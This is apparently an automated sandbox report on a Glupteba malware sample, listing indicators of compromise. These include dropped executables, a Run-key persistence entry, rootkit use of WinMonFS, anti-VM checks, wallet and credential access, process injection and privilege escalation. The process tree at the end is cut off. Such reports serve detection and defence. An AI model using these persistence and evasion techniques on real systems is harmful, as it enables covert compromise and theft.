glupteba | dc7e996aa04d079773ec896adb84f82c5d92a42c65eb05a42bc98d13407d09d7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	kos1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	kos.exe

Executes dropped EXE 17 IoCs

pid	Process
568	toolspub2.exe
4936	e0cbefcb1af40c7d4aff4aca26621a98.exe
1872	kos1.exe
2368	Setup.exe
4772	latestX.exe
2360	set16.exe
3856	kos.exe
3216	is-TQJGV.tmp
3276	toolspub2.exe
4916	previewer.exe
640	previewer.exe
4360	e0cbefcb1af40c7d4aff4aca26621a98.exe
400	updater.exe
2800	csrss.exe
4252	injector.exe
1920	windefender.exe
1732	windefender.exe

Loads dropped DLL 5 IoCs

pid	Process
3216	is-TQJGV.tmp
3216	is-TQJGV.tmp
3216	is-TQJGV.tmp
3360	InstallUtil.exe
3360	InstallUtil.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023107-671.dat	upx
behavioral2/files/0x0007000000023107-673.dat	upx
behavioral2/files/0x0007000000023107-674.dat	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 568 set thread context of 3276	568	toolspub2.exe	96
PID 2368 set thread context of 3360	2368	Setup.exe	108
PID 400 set thread context of 3856	400	updater.exe	178
PID 400 set thread context of 1188	400	updater.exe	179

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	e0cbefcb1af40c7d4aff4aca26621a98.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PA Previewer\is-RH9TM.tmp	is-TQJGV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-99QRM.tmp	is-TQJGV.tmp
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files (x86)\PA Previewer\unins000.dat	is-TQJGV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-8V5PK.tmp	is-TQJGV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-KQFRO.tmp	is-TQJGV.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\unins000.dat	is-TQJGV.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\previewer.exe	is-TQJGV.tmp

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	e0cbefcb1af40c7d4aff4aca26621a98.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	e0cbefcb1af40c7d4aff4aca26621a98.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1432	sc.exe
1860	sc.exe
2044	sc.exe
3884	sc.exe
4364	sc.exe
4336	sc.exe
1260	sc.exe
3332	sc.exe
4104	sc.exe
1276	sc.exe
4192	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	InstallUtil.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	InstallUtil.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4628	schtasks.exe
4672	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-152 = "Central America Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-452 = "Caucasus Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2062 = "North Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-262 = "GMT Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-302 = "Romance Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-432 = "Iran Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-842 = "Argentina Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	e0cbefcb1af40c7d4aff4aca26621a98.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3276	toolspub2.exe
3276	toolspub2.exe
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
2368	Setup.exe
2368	Setup.exe
2368	Setup.exe
2368	Setup.exe
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE
3144	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3144	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
680	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3276	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3856	kos.exe
Token: SeDebugPrivilege	4916	previewer.exe
Token: SeDebugPrivilege	640	previewer.exe
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeDebugPrivilege	2368	Setup.exe
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeShutdownPrivilege	3144	Explorer.EXE
Token: SeCreatePagefilePrivilege	3144	Explorer.EXE
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeShutdownPrivilege	4128	powercfg.exe
Token: SeCreatePagefilePrivilege	4128	powercfg.exe
Token: SeShutdownPrivilege	792	powercfg.exe
Token: SeCreatePagefilePrivilege	792	powercfg.exe
Token: SeShutdownPrivilege	3784	powercfg.exe
Token: SeCreatePagefilePrivilege	3784	powercfg.exe
Token: SeShutdownPrivilege	4180	powercfg.exe
Token: SeCreatePagefilePrivilege	4180	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1488	powershell.exe
Token: SeSecurityPrivilege	1488	powershell.exe
Token: SeTakeOwnershipPrivilege	1488	powershell.exe
Token: SeLoadDriverPrivilege	1488	powershell.exe
Token: SeSystemProfilePrivilege	1488	powershell.exe
Token: SeSystemtimePrivilege	1488	powershell.exe
Token: SeProfSingleProcessPrivilege	1488	powershell.exe
Token: SeIncBasePriorityPrivilege	1488	powershell.exe
Token: SeCreatePagefilePrivilege	1488	powershell.exe
Token: SeBackupPrivilege	1488	powershell.exe
Token: SeRestorePrivilege	1488	powershell.exe
Token: SeShutdownPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeSystemEnvironmentPrivilege	1488	powershell.exe
Token: SeRemoteShutdownPrivilege	1488	powershell.exe
Token: SeUndockPrivilege	1488	powershell.exe
Token: SeManageVolumePrivilege	1488	powershell.exe
Token: 33	1488	powershell.exe
Token: 34	1488	powershell.exe
Token: 35	1488	powershell.exe
Token: 36	1488	powershell.exe
Token: SeIncreaseQuotaPrivilege	1488	powershell.exe
Token: SeSecurityPrivilege	1488	powershell.exe
Token: SeTakeOwnershipPrivilege	1488	powershell.exe
Token: SeLoadDriverPrivilege	1488	powershell.exe
Token: SeSystemProfilePrivilege	1488	powershell.exe
Token: SeSystemtimePrivilege	1488	powershell.exe
Token: SeProfSingleProcessPrivilege	1488	powershell.exe
Token: SeIncBasePriorityPrivilege	1488	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1424 wrote to memory of 568	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	88
PID 1424 wrote to memory of 568	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	88
PID 1424 wrote to memory of 568	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	88
PID 1424 wrote to memory of 4936	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	89
PID 1424 wrote to memory of 4936	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	89
PID 1424 wrote to memory of 4936	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	89
PID 1424 wrote to memory of 1872	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	90
PID 1424 wrote to memory of 1872	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	90
PID 1424 wrote to memory of 1872	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	90
PID 1424 wrote to memory of 2368	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	91
PID 1424 wrote to memory of 2368	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	91
PID 1424 wrote to memory of 2368	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	91
PID 1424 wrote to memory of 4772	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	92
PID 1424 wrote to memory of 4772	1424	b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe	92
PID 1872 wrote to memory of 2360	1872	kos1.exe	93
PID 1872 wrote to memory of 2360	1872	kos1.exe	93
PID 1872 wrote to memory of 2360	1872	kos1.exe	93
PID 1872 wrote to memory of 3856	1872	kos1.exe	94
PID 1872 wrote to memory of 3856	1872	kos1.exe	94
PID 2360 wrote to memory of 3216	2360	set16.exe	95
PID 2360 wrote to memory of 3216	2360	set16.exe	95
PID 2360 wrote to memory of 3216	2360	set16.exe	95
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 568 wrote to memory of 3276	568	toolspub2.exe	96
PID 3216 wrote to memory of 792	3216	is-TQJGV.tmp	129
PID 3216 wrote to memory of 792	3216	is-TQJGV.tmp	129
PID 3216 wrote to memory of 792	3216	is-TQJGV.tmp	129
PID 3216 wrote to memory of 4916	3216	is-TQJGV.tmp	97
PID 3216 wrote to memory of 4916	3216	is-TQJGV.tmp	97
PID 3216 wrote to memory of 4916	3216	is-TQJGV.tmp	97
PID 792 wrote to memory of 3688	792	powercfg.exe	100
PID 792 wrote to memory of 3688	792	powercfg.exe	100
PID 792 wrote to memory of 3688	792	powercfg.exe	100
PID 3216 wrote to memory of 640	3216	is-TQJGV.tmp	101
PID 3216 wrote to memory of 640	3216	is-TQJGV.tmp	101
PID 3216 wrote to memory of 640	3216	is-TQJGV.tmp	101
PID 4936 wrote to memory of 3524	4936	e0cbefcb1af40c7d4aff4aca26621a98.exe	105
PID 4936 wrote to memory of 3524	4936	e0cbefcb1af40c7d4aff4aca26621a98.exe	105
PID 4936 wrote to memory of 3524	4936	e0cbefcb1af40c7d4aff4aca26621a98.exe	105
PID 2368 wrote to memory of 1264	2368	Setup.exe	107
PID 2368 wrote to memory of 1264	2368	Setup.exe	107
PID 2368 wrote to memory of 1264	2368	Setup.exe	107
PID 2368 wrote to memory of 3796	2368	Setup.exe	109
PID 2368 wrote to memory of 3796	2368	Setup.exe	109
PID 2368 wrote to memory of 3796	2368	Setup.exe	109
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 2368 wrote to memory of 3360	2368	Setup.exe	108
PID 4400 wrote to memory of 1260	4400	cmd.exe	119
PID 4400 wrote to memory of 1260	4400	cmd.exe	119
PID 4400 wrote to memory of 1432	4400	cmd.exe	120
PID 4400 wrote to memory of 1432	4400	cmd.exe	120
PID 4400 wrote to memory of 1860	4400	cmd.exe	121
PID 4400 wrote to memory of 1860	4400	cmd.exe	121
PID 4400 wrote to memory of 3332	4400	cmd.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3144
- C:\Users\Admin\AppData\Local\Temp\b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe
  "C:\Users\Admin\AppData\Local\Temp\b115ad95814af3c46b71fd230d3b2a224c8a8f356b27e0367b0f98d4948b2b60.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:568
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
